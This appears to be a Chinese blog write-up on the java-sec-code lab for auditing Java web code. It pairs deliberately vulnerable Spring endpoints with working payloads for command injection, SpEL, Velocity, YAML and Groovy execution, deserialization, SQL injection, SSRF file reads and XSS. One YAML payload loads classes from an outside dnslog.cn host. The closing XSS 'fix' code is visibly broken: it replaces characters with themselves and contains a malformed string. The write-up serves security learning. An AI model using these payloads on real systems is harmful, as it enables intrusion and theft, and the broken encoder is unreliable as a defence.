前言
Java-Sec-Code是一个学习JavaEE代码审计的项目,项目地址:java-sec-code。
环境搭建:
下载源码后,直接使用IDEA打开,因为项目使用springboot搭建,所以无需手动配置服务器。
在src/main/resources/application.properties中修改下数据库参数,新建数据库,导入源文件中数据库文件java-sec-code-master\src\main\resources\create_db.sql。项目默认运行在unix环境,若运行在windows环境,。
项目作者的环境为Linux,我的环境为windows,故需要修改部分代码。将linux下的命令替换为windows下的。将代码中”/bin/bash”, “-c”, cmd“修改为”cmd”, “/c”, “cmd”。
登录账号密码:
admin/admin123
joychou/joychou123
漏洞分析
RCE
1.Runtime执行命令
Process process= Runtime.getRuntime.exec();
java-sec-code漏洞代码如下,从前端获取cmd参数,未经校验,直接传入ecex()函数执行。构造payload为
http://127.0.0.1:9090/rce/runtime/exec?cmd=whoami
@RestController
@RequestMapping("/rce")
public class Rce {
//rce/runtime/exec
@GetMapping("/runtime/exec")
public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();
try {
Process p = run.exec(cmd);
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
if (p.waitFor() != 0) {
if (p.exitValue() == 1)
return "Command exec failed!!";
}
inBr.close();
in.close();
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}
2.ProcessBuilder执行命令
ProcessBuilder processBuilder = new ProcessBuilder();
processsBuilder.commend("notepad.exe");
processBuilder.start();
java-sec-code漏洞代码如下,从前端获取cmd参数,未经校验,直接传入ecex()函数执行。构造payload为
http://127.0.0.1:9090/rce/ProcessBuilder?cmd=whoami。回显中如果有中文,会乱码,指定InputStreamReader的编码为“GBK”即可。
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd) {
StringBuilder sb = new StringBuilder();
try {
String[] arrCmd = {"cmd", "/c", cmd};
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}
JavaScript命令执行
ScriptEngineManage类是Java SE6提供的运行javascript等脚本的类库,使用代码如下:
String str = "Jscode";
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
engine.eval(str);
java-sec-code漏洞代码如下
@GetMapping("/jscmd")
public void jsEngine(String jsurl) throws Exception{
// js nashorn javascript ecmascript
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String cmd = String.format("load(\"%s\")", jsurl);
engine.eval(cmd, bindings);
}
,将以下代码保存为jsurl.js,并用Python起一个web服务,构造Payload为http://127.0.0.1:9090/rce//jscmd?jsurl=http://127.0.0.1:8090/jsurl.js
/*Payloda*/
var a = mainOutput(); function mainOutput(){ var x=java.lang.Runtime.getRuntime().exec("cmd /c Calc");}
Yaml反序列化命令执行
Java使用SnakeYaml解析yaml。可将Java 对象序列化为YAML 文档,或YAML文档转为Java对象
java-sec-code代码如下
@GetMapping("/vuln/yarm")
public void yarm(String content) {
Yaml y = new Yaml();
y.load(content);
}
构造payload
http://127.0.0.1:9090/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://2i7vnr.dnslog.cn%22]]]]
Groovy 命令执行
Groovy是Apache 旗下的一种基于JVM的面向对象编程语言,既可以用于面向对象编程,也可以用作纯粹的脚本语言。在语言的设计上它吸纳了Python、Ruby 和 Smalltalk 语言的优秀特性,比如动态类型转换、闭包和元编程支持。 Groovy与 Java可以很好的互相调用并结合编程 ,比如在写 Groovy 的时候忘记了语法可以直接按Java的语法继续写,也可以在 Java 中调用 Groovy 脚本。比起Java,Groovy语法更加的灵活和简洁,可以用更少的代码来实现Java实现的同样功能。
java-sec-code漏洞代码如下
@GetMapping("groovy")
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}
}
构造payload:
http://127.0.0.1:9090/rce/groovy?content=”cmd /c calc”.execute()
CommandInject
命令执行漏洞是指应用有时需要调用一些执行系统命令的函数,如果系统命令代码未
对用户可控参数做过滤,则当用户能控制这些函数中的参数时,就可以将恶意系统命令拼
接到正常命令中,从而造成命令执行攻击。
参数注入
java-sec-code漏洞代码如下
@GetMapping("/codeinject")
public String codeInject(String filepath) throws IOException {
String[] cmdList = new String[]{"cmd", "/c", "dir " + filepath};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}
构造payload
http://127.0.0.1:9090/codeinject?filepath=.%26whoami windows需要使用&分割命令,而&字符是URL特殊字符,所以需要进行URL编码。UNIX下payload为http://127.0.0.1:9090/codeinject?filepath=.;whoami
IDEA调试
http头注入
常见的请求头注入点:host、client_ip、X-Forwarded-For、Cookie、User-Agent、Content-Type等
java-sec-code漏洞代码如下,可见获取host值后直接拼入命令行,存在漏洞。但因为tomcat7.9以上的版本,不支持请求链接上带有特殊字符。否则会报400错误。Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC 3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])。需要降低Tomcat版本测试。
@GetMapping("/codeinject/host")
public String codeInjectHost(HttpServletRequest request) throws IOException {
String host = request.getHeader("host");
logger.info(host);
String[] cmdList = new String[]{"cmd", "/c", "curl " + host};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}
Cookies
应用获取用户身份信息可能会直接从cookie中直接获取明文的nick或者id,导致越权问题。具体实现如下。
@RestController
@RequestMapping("/cookie")
public class Cookies {
private static String NICK = "nick";
@GetMapping(value = "/vuln01")
public String vuln01(HttpServletRequest req) {
String nick = WebUtils.getCookieValueByName(req, NICK); // key code
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln02")
public String vuln02(HttpServletRequest req) {
String nick = null;
Cookie[] cookie = req.getCookies();
if (cookie != null) {
nick = getCookie(req, NICK).getValue(); // key code
}
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln03")
public String vuln03(HttpServletRequest req) {
String nick = null;
Cookie cookies[] = req.getCookies();
if (cookies != null) {
for (Cookie cookie : cookies) {
// key code. Equals can also be equalsIgnoreCase.
if (NICK.equals(cookie.getName())) {
nick = cookie.getValue();
}
}
}
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln04")
public String vuln04(HttpServletRequest req) {
String nick = null;
Cookie cookies[] = req.getCookies();
if (cookies != null) {
for (Cookie cookie : cookies) {
if (cookie.getName().equalsIgnoreCase(NICK)) { // key code
nick = cookie.getValue();
}
}
}
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln05")
public String vuln05(@CookieValue("nick") String nick) {
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln06")
public String vuln06(@CookieValue(value = "nick") String nick) {
return "Cookie nick: " + nick;
}
}
CORS
CORS,跨域资源共享,允许浏览器向跨院服务器发送XMLHttpRequest请求,从而克服AJAX只能同源使用的限制。
前端在发起AJAX请求时,同域或者直接访问的情况下,因为没有跨域的需求,所以Request的Header中的Origin为空。此时,如果后端代码是response.setHeader("Access-Control-Allow-Origin", origin)
,那么Response的header中不会出现Access-Control-Allow-Origin
,因为Origin为空
代码读取请求头的origin,再设置为Access-Control-Allow-Origin的值,可以人为设置origin绕过同源策略。
@GetMapping("/vuln/origin")
public String vuls1(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header
response.setHeader("Access-Control-Allow-Credentials", "true"); // allow cookie
return info;
}
代码设置Access-Control-Allow-Origin的值为“*”,允许任意源访问网站资源(cookie等)
@GetMapping("/vuln/setHeader")
public String vuls2(HttpServletResponse response) {
// 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常
response.setHeader("Access-Control-Allow-Origin", "*");
return info;
}
修复代码:
/**
* 重写Cors的checkOrigin校验方法
* 支持自定义checkOrigin,让其额外支持一级域名
* 代码:org/joychou/security/CustomCorsProcessor
*/
@CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"})
@GetMapping("/sec/crossOrigin")
public String secCrossOrigin() {
return info;
}
/**
* WebMvcConfigurer设置Cors
* 支持自定义checkOrigin
* 代码:org/joychou/config/CorsConfig.java
*/
@GetMapping("/sec/webMvcConfigurer")
public CsrfToken getCsrfToken_01(CsrfToken token) {
return token;
}
/**
* spring security设置cors
* 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行
* 代码:org/joychou/security/WebSecurityConfig.java
*/
@GetMapping("/sec/httpCors")
public CsrfToken getCsrfToken_02(CsrfToken token) {
return token;
}
/**
* 自定义filter设置cors
* 支持自定义checkOrigin
* 代码:org/joychou/filter/OriginFilter.java
*/
@GetMapping("/sec/originFilter")
public CsrfToken getCsrfToken_03(CsrfToken token) {
return token;
}
/**
* CorsFilter设置cors。
* 不支持自定义checkOrigin,因为corsFilter优先于setCorsProcessor执行
* 代码:org/joychou/filter/BaseCorsFilter.java
*/
@RequestMapping("/sec/corsFilter")
public CsrfToken getCsrfToken_04(CsrfToken token) {
return token;
}
@GetMapping("/sec/checkOrigin")
public String seccode(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("Origin");
// 如果origin不为空并且origin不在白名单内,认定为不安全。
// 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。
if (origin != null && SecurityUtil.checkURL(origin) == null) {
return "Origin is not safe.";
}
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Credentials", "true");
return LoginUtils.getUserInfo2JsonStr(request);
}
CRLFInjection
CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a),操作系统就是根据这个标识来进行换行的,你在键盘输入回车键就是输出这个字符,只不过win和linux系统采用的标识不一样而已。
在HTTP当中HTTP的Header和Body之间就是用两个crlf进行分隔的,如果能控制HTTP消息头中的字符,注入一些恶意的换行,这样就能注入一些会话cookie和html代码,所以CRLF injection 又叫做 HTTP response Splitting,简称HRS。CRLF漏洞可以造成Cookie会话固定和反射型XSS(可过waf)的危害,注入XSS的利用方式:连续使用两次%0d%oa就会造成header和body之间的分离,就可以在其中插入xss代码形成反射型xss漏洞。
@RequestMapping("/crlf")
public class CRLFInjection {
@RequestMapping("/safecode")
@ResponseBody
public void crlf(HttpServletRequest request, HttpServletResponse response) {
response.addHeader("test1", request.getParameter("test1"));
response.setHeader("test2", request.getParameter("test2"));
String author = request.getParameter("test3");
Cookie cookie = new Cookie("test3", author);
response.addCookie(cookie);
}
}
这个问题实际上已经在所有的现在的java EE应用服务器上修复,如图,在响应中并未实现换行。
CSRF
CSRF核心是黑客盗用使用者的身份去执行操作。比如银行转账功能、微博收听功能,在使用者登录的状态下,黑客诱使使用者点击构造的链接,对银行/微博服务器发送请求,此时请求带着用户的token,所以可以成功操作。
在输入框输入字符提交,显示CSRF passed,通过各种工具构造请求则失败。
查看form表单,有隐藏的_csrf字段,csrf_token为后端生成的,提交后会和后端校验。token一般具有唯一性,时效性,不可预测性,无状态性。在攻击者无法获得csrf_token情况下,则可避免CSRF攻击。
Spring 3.2+和 Thymeleaf 2.1+可以通过这条语句自动生成
<input type="hidden" th:name="${_csrf.parameterName}" th:value="${_csrf.token}" />
若获得了csrf_token,可将csrf_token添加到请求中。如可以使用burp—Engagement tools — Generate CSRF Poc生成Payload,注意_csrf键值会出现乱码,需手动修改。可以绕过CSRF达成CSRF攻击,但需要用户点击两次。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:9090/csrf/post" method="POST">
<input type="hidden" name="input" value="123" />
<input type="hidden" name="_csrf" value="93b6dd6b-fd27-404e-b6d0-687ba7a50ac0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
反序列化
java通过对象流ObjectOutputStream的writeObject和readObject实现对象的序列化和反序列化。若输入的数据可被攻击者控制,则可构造恶意数据,执行任意代码。
java-sec-code漏洞代码如下,可见服务端读取cookie中rememberMe的值,未经过处理,直接进行反序列化操作。
public class Constants {
private Constants() {
}
public static final String REMEMBER_ME_COOKIE = "rememberMe";
public static final String ERROR_PAGE = "https://test.joychou.org/error1.html";
}
@RequestMapping("/deserialize")
public class Deserialize {
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
/**
* java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
* Add the result to rememberMe cookie.
* <p>
* http://localhost:8080/deserialize/rememberMe/vuln
*/
@RequestMapping("/rememberMe/vuln")
public String rememberMeVul(HttpServletRequest request)
throws IOException, ClassNotFoundException {
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
if (null == cookie) {
return "No rememberMe cookie. Right?";
}
String rememberMe = cookie.getValue();
byte[] decoded = Base64.getDecoder().decode(rememberMe);
ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
ObjectInputStream in = new ObjectInputStream(bytes);
in.readObject();
in.close();
return "Are u ok?";
}
使用ysoserial生成payload
抓包,在cookie中添加remeberMe=payload
FileUpload
不安全的文件上传写法如下,没有经过任何校验直接上传。
@PostMapping("/upload")
public String singleFileUpload(@RequestParam("file") MultipartFile file,
RedirectAttributes redirectAttributes) {
if (file.isEmpty()) {
// 赋值给uploadStatus.html里的动态参数message
redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
return "redirect:/file/status";
}
try {
// Get the file and save it somewhere
byte[] bytes = file.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
Files.write(path, bytes);
redirectAttributes.addFlashAttribute("message",
"You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");
} catch (IOException e) {
redirectAttributes.addFlashAttribute("message", "upload failed");
logger.error(e.toString());
}
安全的写法如下。代码对上传的文件进行了三重校验:
1.最常用的方法,校验上传文件的后缀,注意这里要使用lastIndexof()函数获取真实文件后缀名,不能使用indexof()函数
2.校验MIME类型,即通过检查http包的Content-Type字段中的值来判断上传文件是否合法的。
3.判断文件内容是否是图片,这里使用的是ImageIO.read()函数,如果返回null,即找不到合适的ImageReader,可以认为不是图片。
@PostMapping("/upload/picture")
@ResponseBody
public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {
if (multifile.isEmpty()) {
return "Please select a file to upload";
}
String fileName = multifile.getOriginalFilename();
String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
String mimeType = multifile.getContentType(); // 获取MIME类型
String filePath = UPLOADED_FOLDER + fileName;
File excelFile = convert(multifile);
// 判断文件后缀名是否在白名单内 校验1
String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
boolean suffixFlag = false;
for (String white_suffix : picSuffixList) {
if (Suffix.toLowerCase().equals(white_suffix)) {
suffixFlag = true;
break;
}
}
if (!suffixFlag) {
logger.error("[-] Suffix error: " + Suffix);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
// 判断MIME类型是否在黑名单内 校验2
String[] mimeTypeBlackList = {
"text/html",
"text/javascript",
"application/javascript",
"application/ecmascript",
"text/xml",
"application/xml"
};
for (String blackMimeType : mimeTypeBlackList) {
// 用contains是为了防止text/html;charset=UTF-8绕过
if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
logger.error("[-] Mime type error: " + mimeType);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
}
// 判断文件内容是否是图片 校验3
boolean isImageFlag = isImage(excelFile);
deleteFile(randomFilePath);
if (!isImageFlag) {
logger.error("[-] File is not Image");
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
try {
// Get the file and save it somewhere
byte[] bytes = multifile.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
Files.write(path, bytes);
} catch (IOException e) {
logger.error(e.toString());
deleteFile(filePath);
return "Upload failed";
}
文件上传在Spring里很少,原因:
1.现在一般文件会上传到CDN
2.spring的jsp文件必须在web-inf目录下才能执行。除非上传war到tomcat的webapps目录。
GetRequestURI
当应用存在静态资源目录,比如 /css/ 目录,在权限校验时一般会选择放行,即不校验权限。研发同学用 getRequestURI() 获取URI后,判断是否包含 /css/ 字符串,如果包含则不校验权限。此时如果URI为 /css/../hello ,用 getRequestURI() 获取的URI是 /css/../hello ,包含 /css/ 字符串,所以不校验权限。但是此时后端的路由为 /hello ,导致权限绕过。
@RequestMapping("uri")
public class GetRequestURI {
private final Logger logger = LoggerFactory.getLogger(this.getClass());
@GetMapping(value = "/exclued/vuln")
public String exclued(HttpServletRequest request) {
String[] excluedPath = {"/css/**", "/js/**"};
String uri = request.getRequestURI(); // Security: request.getServletPath()
PathMatcher matcher = new AntPathMatcher();
logger.info("getRequestURI: " + uri);
logger.info("getServletPath: " + request.getServletPath());
for (String path : excluedPath) {
if (matcher.match(path, uri)) {
return "You have bypassed the login page.";
}
}
return "This is a login page >..<";
}
}
代码是通过根目录检测,需要/css开头,这里将注解改为@RequestMapping(“/”)
安全做法使用request.getServletPath()获取URI.
例如处理localhost:8080/css/..;name=joychou/hello’,先是获取;和/之间的内容name=joychou,对其用=分隔,并添加到addPathParameter方法中,并从URI中去掉 ;name=joychou 内容。这种用法一般用来获取sessionid,比如 http://xx/index.html;jsessionid=1234 。,接着就是对URI进行标准化(normalize),先对URI进行URLDecode,如果存在 /../ ,将其返回到上一级目录,即/css/../hello处理为/hello,并将新的Path设置为servletPath。
参考链接:
IP Forge
一些网站需要获取客户端IP地址,如在某些特定情况下,只允许特定IP才能访问的页面;或者投票系统需要限制同一IP只能进行一次投票。若后端逻辑不严谨通过前端请求头来判断IP地址,则会造成IP伪造漏洞。
X-Forwarded-For格式如下,第一个IP是客户端IP,若请求经过多层代理(匿名代理除外),每经过一层代理则会在后面加一个IP地址,用逗号和空格分开。显然,这种获取IP的方式是不安全的,可以进行伪造。
X-Forwarded-For: client1, proxy1, proxy2
防范方法,在Nginx中进行配置
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for
参考链接
利用X-Forwarded-For伪造客户端IP漏洞成因及防范
PathTraversal
目录穿越(也被称为目录遍历/directory traversal/path traversal)是通过使用 ../ ,..\ ,..;/等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等
public String getImage(String filepath) throws IOException {
return getImgBase64(filepath);
}
代码修复:对输入参数先进行URL解码再检测是否含有“..”和“/”。但这样可读取当前目录及子目录的资源。
@GetMapping("/path_traversal/sec")
public String getImageSec(String filepath) throws IOException {
if (SecurityUtil.pathFilter(filepath) == null) {
logger.info("Illegal file path: " + filepath);
return "Bad boy. Illegal file path.";
}
return getImgBase64(filepath);
}
public static String pathFilter(String filepath) {
String temp = filepath;
// use while to sovle multi urlencode
while (temp.indexOf('%') != -1) {
try {
temp = URLDecoder.decode(temp, "utf-8");
} catch (UnsupportedEncodingException e) {
logger.info("Unsupported encoding exception: " + filepath);
return null;
} catch (Exception e) {
logger.info(e.toString());
return null;
}
}
if (temp.contains("..") || temp.charAt(0) == '/') {
return null;
}
return filepath;
}
SpEL
SPEL(Spring Expression Language),即Spring表达式语言,是比JSP的EL更强大的一种表达式语言。从Spring 3开始引入了Spring表达式语言,它能够以一种强大而简洁的方式将值装配到Bean属性和构造器参数中,在这个过程中所使用的表达式会在运行时计算得到值。使用SPEL你可以实现超乎想象的装配效果
@GetMapping("/vuln")
public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
return parser.parseExpression(expression).getValue().toString();
}
当对用户输入未进行校验,直接解析时可能造成SpEL注入
http://127.0.0.1:9090/spel/vuln/?expression=T(java.lang.Runtime).getRuntime().exec(%22cmd%20/c%20calc%22)
SQLI
jdbc/vuln
@RequestMapping("/jdbc/vuln")
public String jdbc_sqli_vul(@RequestParam("username") String username) {
StringBuilder result = new StringBuilder();
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);
if (!con.isClosed())
System.out.println("Connect to database successfully.");
// sqli vuln code
Statement statement = con.createStatement();
String sql = "select * from users where username = '" + username + "'";
logger.info(sql);
ResultSet rs = statement.executeQuery(sql);
while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}
rs.close();
con.close();
直接进行拼接
http://127.0.0.1:9090/sqli/jdbc/vuln/?username=admin%27%20or%20%271%27=%271
修复代码,采用prepareStatement()通过预处理方式进行修复。
预处理的修复原理:针对字符串类型的SQL注入,是在字符串两边加上一对单号哈”,对于中间点的单引号对其进行转义\’,让其变成字符的单引号。Mybatis的#{}也是预处理方式处理SQL注入。
在使用了mybatis框架后,需要进行排序功能时,在mapper.xml文件中编写SQL语句时,注意orderBy后的变量要使用${},而不用#{}。因为#{}变量是经过预编译的,${}没有经过预编译。虽然${}存在SQL注入的风险,但orderBy必须使用${},因为#{}会多出单引号”导致SQL语句失效。为防止SQL注入只能自己对其过滤。
@RequestMapping("/jdbc/sec")
public String jdbc_sqli_sec(@RequestParam("username") String username) {
StringBuilder result = new StringBuilder();
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);
if (!con.isClosed())
System.out.println("Connecting to Database successfully.");
// fix code
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
st.setString(1, username);
logger.info(st.toString()); // sql after prepare statement
ResultSet rs = st.executeQuery();
while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}
rs.close();
con.close();
} catch (ClassNotFoundException e) {
logger.error("Sorry, can`t find the Driver!");
e.printStackTrace();
} catch (SQLException e) {
logger.error(e.toString());
}
return result.toString();
}
jdbc/ps/vuln
@RequestMapping("/jdbc/ps/vuln")
public String jdbc_ps_vuln(@RequestParam("username") String username) {
StringBuilder result = new StringBuilder();
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);
if (!con.isClosed())
System.out.println("Connecting to Database successfully.");
String sql = "select * from users where username = '" + username + "'";
PreparedStatement st = con.prepareStatement(sql);
logger.info(st.toString());
ResultSet rs = st.executeQuery();
while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}
rs.close();
con.close();
} catch (ClassNotFoundException e) {
logger.error("Sorry, can`t find the Driver!");
e.printStackTrace();
} catch (SQLException e) {
logger.error(e.toString());
}
return result.toString();
}
虽然也使用了预编译,但它是先进行的拼接,预编译不起作用,存在SQL注入
mybatis/vuln01
使用mybatis的${进行SQL查询,存在SQL注入
@GetMapping("/mybatis/vuln01")
public List<User> mybatisVuln01(@RequestParam("username") String username) {
return userMapper.findByUserNameVuln01(username);
@Select("select * from users where username = '${username}'")
List<User> findByUserNameVuln01(@Param("username") String username);
http://127.0.0.1:9090/sqli//mybatis/vuln01?username=admin%27%20or%20%271%27=%271
mybatis/vuln02
${}直接拼接字符串,SQL语句变成了:select * from users where username like ‘%username%’,这里在like的后面不能使用#{}预编译,不然就会产生报错。可以使用like concat(‘%’,${username}, ‘%’)避免注入。
@GetMapping("/mybatis/vuln02")
public List<User> mybatisVuln02(@RequestParam("username") String username) {
return userMapper.findByUserNameVuln02(username);
}
<select id="findByUserNameVuln02" parameterType="String" resultMap="User">
select * from users where username like '%${_parameter}%'
</select>
http://127.0.0.1:9090/sqli//mybatis/vuln02?username=admin%27%20or%20%271%27=%271%27%20%23
mybatis/vuln03
与mybatis/vuln02相似,拼接成 select * from users order by %sort% asc,且order by不能使用#{}预编译
@GetMapping("/mybatis/orderby/vuln03")
public List<User> mybatisVuln03(@RequestParam("sort") String sort) {
return userMapper.findByUserNameVuln03(sort);
}
<select id="findByUserNameVuln03" parameterType="String" resultMap="User">
select * from users
<if test="order != null">
order by ${order} asc
</if>
</select>
http://127.0.0.1:9090//sqli/mybatis/orderby/vuln03?sort=1%20desc%23
mybatis/sec01
mybatis使用#{}防止注入
@GetMapping("/mybatis/sec01")
public User mybatisSec01(@RequestParam("username") String username) {
return userMapper.findByUserName(username);
}
<select id="findByUserName" resultMap="User">
select * from users where username = #{username}
</select>
mybatis/sec02
通过id来查找用户,限制了参数类型只能是Integer,只能输入数字,避免注入。且mybatis使用#{}防止注入
@GetMapping("/mybatis/sec02")
public User mybatisSec02(@RequestParam("id") Integer id) {
return userMapper.findById(id);
}
<select id="findById" resultMap="User">
select * from users where id = #{id}
</select>
mybatis/sec03
不接受用户传参,无SQL注入
@GetMapping("/mybatis/sec03")
public User mybatisSec03() {
return userMapper.OrderByUsername();
}
<select id="OrderByUsername" resultMap="User">
select * from users order by id asc limit 1
</select>
mybatis/sec04
加入SQL注入过滤器,严格限制用户输入只能包含a-zA-Z0-9_-.防止SQL注入
@GetMapping("/mybatis/orderby/sec04")
public List<User> mybatisOrderBySec04(@RequestParam("sort") String sort) {
return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort));
}
public static String sqlFilter(String sql) {
if (!FILTER_PATTERN.matcher(sql).matches()) {
return null;
}
return sql;
}
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
SSRF
Java中的SSRF支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。相对于php,在java中SSRF的利用局限较大,一般利用http协议来探测端口,利用file协议读取任意文件。
@RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
public String URLConnectionVuln(String url) {
return HttpUtils.URLConnection(url);
}
读取文件
http://127.0.0.1:9090/ssrf/urlConnection/vuln?url=file:///D:/test/password.txt
代码修复,使用isHttppt()判断协议类型,禁止掉其他协议。并且实现了一个SSRFHook 进一步处理请求的URL是否为内网IP等情况。
@GetMapping("/urlConnection/sec")
public String URLConnectionSec(String url) {
// Decline not http/https protocol
if (!SecurityUtil.isHttp(url)) {
return "[-] SSRF check failed";
}
try {
SecurityUtil.startSSRFHook();
return HttpUtils.URLConnection(url);
} catch (SSRFException | IOException e) {
return e.getMessage();
} finally {
SecurityUtil.stopSSRFHook();
}
}
SSTI
SSTI 是服务器端模板注入( Server-Side Template Injection)的英文首字母编写。模板引擎支持使用静态模板文件,在运行时用 HTML 页面中的实际值替换变量/占位符,从而让 HTML 页面的设计变得更容易。当前广泛应用的模板引擎有 Smarty、 Twig、 Jinja2、FreeMarker 及 Velocity 等。若攻击者可以完全控制输入模板的指令,且模板能够在服务器端被成功地进行解析,则会造成模板注入漏洞。
@GetMapping("/velocity")
public void velocity(String template) {
Velocity.init();
VelocityContext context = new VelocityContext();
context.put("author", "Elliot A.");
context.put("address", "217 E Broadway");
context.put("phone", "555-1337");
StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
}
}
http://127.0.0.1:9090/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22cmd%20/c%20Calc%22)
XSS
反射型XSS,漏洞代码如下
@RequestMapping("/reflect")
@ResponseBody
public static String reflect(String xss) {
return xss;
}
利用,直接传入js代码
http://127.0.0.1:9090/xss/reflect?xss=%3Cscript%3Ealert(1)%3C/script%3E
存储型,将XSS语句插入了cookie,再访问时触发
@RequestMapping("/stored/store")
@ResponseBody
public String store(String xss, HttpServletResponse response) {
Cookie cookie = new Cookie("xss", xss);
response.addCookie(cookie);
return "Set param into cookie";
}
/**
* Vul Code.
* StoredXSS Step2
* http://localhost:8080/xss/stored/show
*
* @param xss unescape string
*/
@RequestMapping("/stored/show")
@ResponseBody
public String show(@CookieValue("xss") String xss) {
return xss;
}
依次访问以下链接
http://127.0.0.1:9090/xss/stored/store?xss=%3Cscript%3Ealert(1)%3C/script%3E
http://127.0.0.1:9090/xss/stored/show
防御,将特殊字符进行实体编码
@RequestMapping("/safe")
@ResponseBody
public static String safe(String xss) {
return encode(xss);
}
private static String encode(String origin) {
origin = StringUtils.replace(origin, "&", "&");
origin = StringUtils.replace(origin, "<", "<");
origin = StringUtils.replace(origin, ">", ">");
origin = StringUtils.replace(origin, "\"", """);
origin = StringUtils.replace(origin, "'", "'");
origin = StringUtils.replace(origin, "/", "/");
return origin;
}
}